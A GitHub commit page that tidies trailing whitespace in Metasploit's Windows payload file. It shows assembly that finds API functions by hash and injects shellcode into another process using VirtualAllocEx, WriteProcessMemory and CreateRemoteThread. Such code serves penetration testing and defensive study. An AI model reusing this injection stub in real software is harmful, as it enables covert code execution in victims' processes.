Skip to content

Commit b013749

Browse files
committed
tidy EOL spaces
1 parent 15268ca commit b013749

File tree

1 file changed

+24
-24
lines changed

1 file changed

+24
-24
lines changed

lib/msf/core/payload/windows.rb

Lines changed: 24 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -116,7 +116,7 @@ def generate(*args)
116116
jz get_next_mod1 ; If no EAT present, process the next module
117117
add eax, edx ; Add the modules base address
118118
push eax ; Save the current modules EAT
119-
mov ecx, [eax+24] ; Get the number of function names
119+
mov ecx, [eax+24] ; Get the number of function names
120120
mov ebx, [eax+32] ; Get the rva of the function names
121121
add ebx, edx ; Add the modules base address
122122
; Computing the module hash + function hash
@@ -135,14 +135,14 @@ def generate(*args)
135135
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
136136
jne loop_funcname ; If we have not reached the null terminator, continue
137137
add edi, [ebp-8] ; Add the current module hash to the function hash
138-
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
138+
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
139139
jnz get_next_func ; Go compute the next function hash if we have not found it
140140
; If found, fix up stack, call the function and then value else compute the next one...
141141
pop eax ; Restore the current modules EAT
142-
mov ebx, [eax+36] ; Get the ordinal table rva
142+
mov ebx, [eax+36] ; Get the ordinal table rva
143143
add ebx, edx ; Add the modules base address
144144
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
145-
mov ebx, [eax+28] ; Get the function addresses table rva
145+
mov ebx, [eax+28] ; Get the function addresses table rva
146146
add ebx, edx ; Add the modules base address
147147
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
148148
add eax, edx ; Add the modules base address to get the functions actual VA
@@ -246,15 +246,15 @@ def generate(*args)
246246
247247
; eax now contains the destination
248248
; WriteProcessMemory()
249-
push esp ; lpNumberOfBytesWritten
250-
push #{payloadsize} ; nSize
249+
push esp ; lpNumberOfBytesWritten
250+
push #{payloadsize} ; nSize
251251
; pick up pointer to shellcode & keep it on stack
252252
jmp begin_of_payload
253-
begin_of_payload_return: ; lpBuffer
254-
push eax ; lpBaseAddress
255-
push [edi] ; hProcess
253+
begin_of_payload_return: ; lpBuffer
254+
push eax ; lpBaseAddress
255+
push [edi] ; hProcess
256256
push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
257-
call ebp ; WriteProcessMemory( ...);
257+
call ebp ; WriteProcessMemory( ...)
258258
259259
; run the code (CreateRemoteThread())
260260
push ebx ; lpthreadID
@@ -264,7 +264,7 @@ def generate(*args)
264264
push ecx ; shellcode
265265
push ebx ; stacksize
266266
push ebx ; lpThreadAttributes
267-
push [edi]
267+
push [edi]
268268
push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
269269
call ebp ; CreateRemoteThread( ...);
270270
@@ -284,7 +284,7 @@ def generate(*args)
284284

285285
pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
286286
end
287-
# Handle all x86 code here
287+
# Handle all x64 code here
288288
elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64)
289289
# PrependMigrate
290290
if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
@@ -308,7 +308,7 @@ def generate(*args)
308308
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
309309
next_mod: ;
310310
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
311-
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
311+
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
312312
xor r9, r9 ; Clear r9 which will store the hash of the module name
313313
loop_modname: ;
314314
xor rax, rax ; Clear rax
@@ -323,7 +323,7 @@ def generate(*args)
323323
; We now have the module hash computed
324324
push rdx ; Save the current position in the module list for later
325325
push r9 ; Save the current module hash for later
326-
; Proceed to itterate the export address table,
326+
; Proceed to itterate the export address table
327327
mov rdx, [rdx+32] ; Get this modules base address
328328
mov eax, dword [rdx+60] ; Get PE header
329329
add rax, rdx ; Add the modules base address
@@ -332,7 +332,7 @@ def generate(*args)
332332
jz get_next_mod1 ; If no EAT present, process the next module
333333
add rax, rdx ; Add the modules base address
334334
push rax ; Save the current modules EAT
335-
mov ecx, dword [rax+24] ; Get the number of function names
335+
mov ecx, dword [rax+24] ; Get the number of function names
336336
mov r8d, dword [rax+32] ; Get the rva of the function names
337337
add r8, rdx ; Add the modules base address
338338
; Computing the module hash + function hash
@@ -351,14 +351,14 @@ def generate(*args)
351351
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
352352
jne loop_funcname ; If we have not reached the null terminator, continue
353353
add r9, [rsp+8] ; Add the current module hash to the function hash
354-
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
354+
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
355355
jnz get_next_func ; Go compute the next function hash if we have not found it
356356
; If found, fix up stack, call the function and then value else compute the next one...
357357
pop rax ; Restore the current modules EAT
358-
mov r8d, dword [rax+36] ; Get the ordinal table rva
358+
mov r8d, dword [rax+36] ; Get the ordinal table rva
359359
add r8, rdx ; Add the modules base address
360360
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
361-
mov r8d, dword [rax+28] ; Get the function addresses table rva
361+
mov r8d, dword [rax+28] ; Get the function addresses table rva
362362
add r8, rdx ; Add the modules base address
363363
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
364364
add rax, rdx ; Add the modules base address to get the functions actual VA
@@ -462,16 +462,16 @@ def generate(*args)
462462
call rbp ; VirtualAllocEx( ...);
463463
464464
; eax now contains the destination - save in ebx
465-
mov rbx, rax ; lpBaseAddress
465+
mov rbx, rax ; lpBaseAddress
466466
; WriteProcessMemory()
467-
push rsp ; lpNumberOfBytesWritten
468-
mov r9, #{payloadsize} ; nSize
467+
push rsp ; lpNumberOfBytesWritten
468+
mov r9, #{payloadsize} ; nSize
469469
; pick up pointer to shellcode & keep it on stack
470470
jmp begin_of_payload
471471
begin_of_payload_return:
472472
pop r8 ; lpBuffer
473-
mov rdx, rax ; lpBaseAddress
474-
mov rcx, [rdi] ; hProcess
473+
mov rdx, rax ; lpBaseAddress
474+
mov rcx, [rdi] ; hProcess
475475
mov r10d, 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
476476
call rbp ; WriteProcessMemory( ...);
477477
@@ -483,7 +483,7 @@ def generate(*args)
483483
mov r9,rbx ; shellcode
484484
mov r8, rcx ; stacksize
485485
;rdx already equals 0 ; lpThreadAttributes
486-
mov rcx, [rdi]
486+
mov rcx, [rdi]
487487
mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
488488
call rbp ; CreateRemoteThread( ...);
489489

0 commit comments

Comments
 (0)